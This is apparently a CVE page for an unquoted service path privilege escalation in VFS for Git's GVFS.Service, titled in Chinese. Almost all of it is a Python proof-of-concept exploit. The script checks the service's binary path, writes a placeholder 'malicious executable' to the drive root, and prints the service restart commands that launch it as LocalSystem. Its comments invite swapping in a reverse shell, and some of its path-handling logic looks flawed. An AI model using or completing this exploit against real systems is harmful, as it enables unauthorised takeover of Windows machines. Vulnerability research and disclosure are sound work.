CVE-2021-47874 VFS for Git GVFS.Service未加引号服务路径权限提升漏洞

# CVE-2021-47874 PoC - Unquoted Service Path Exploitation # Target: VFS for Git GVFS.Service # Privilege Escalation from Low Privileges to LocalSystem import os import sys import subprocess import shutil def check_service_path(): """Check if GVFS.Service has unquoted path vulnerability""" try: result = subprocess.run( ['sc', 'qc', 'GVFS.Service'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [l for l in result.stdout.split('\n') if 'BINARY_PATH_NAME' in l] if path_line: path = path_line[0].split(':', 1)[1].strip() print(f"[+] Service path: {path}") if '"' not in path and ' ' in path: print("[!] VULNERABLE: Path is unquoted with spaces!") return path return None except Exception as e: print(f"[-] Error checking service: {e}") return None def exploit_unquoted_path(service_path): """Exploit unquoted service path by placing malicious executable""" # Extract path components before first space path_parts = service_path.split() if len(path_parts) > 1: first_dir = os.path.dirname(path_parts[0]) # Get the first word of the path (likely the directory name) first_word = os.path.basename(first_dir).split()[0] if ' ' in first_dir else os.path.basename(first_dir) # Create malicious executable in root or parent directory target_dir = service_path[0] + '\\' # Usually C:\ malicious_exe = os.path.join(target_dir, f"{first_word}.exe") if os.path.exists(target_dir) and os.access(target_dir, os.W_OK): print(f"[+] Creating malicious executable at: {malicious_exe}") # Create a simple malicious executable (reverse shell, etc.) create_malicious_exe(malicious_exe) print("[+] Malicious executable created. Waiting for service restart...") print("[+] Trigger service restart: sc stop GVFS.Service && sc start GVFS.Service") return True return False def create_malicious_exe(path): """Create a malicious executable that will be executed as LocalSystem""" # This is a placeholder - replace with actual malicious payload malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header with open(path, 'wb') as f: f.write(malicious_code) print(f"[+] Malicious executable written to {path}") def main(): print("=" * 60) print("CVE-2021-47874 - VFS for Git Unquoted Service Path PoC") print("=" * 60) # Step 1: Check if vulnerable path = check_service_path() if not path: print("[-] GVFS.Service not found or not vulnerable") return # Step 2: Exploit if exploit_unquoted_path(path): print("[+] Exploitation successful - await LocalSystem shell") if __name__ == "__main__": main()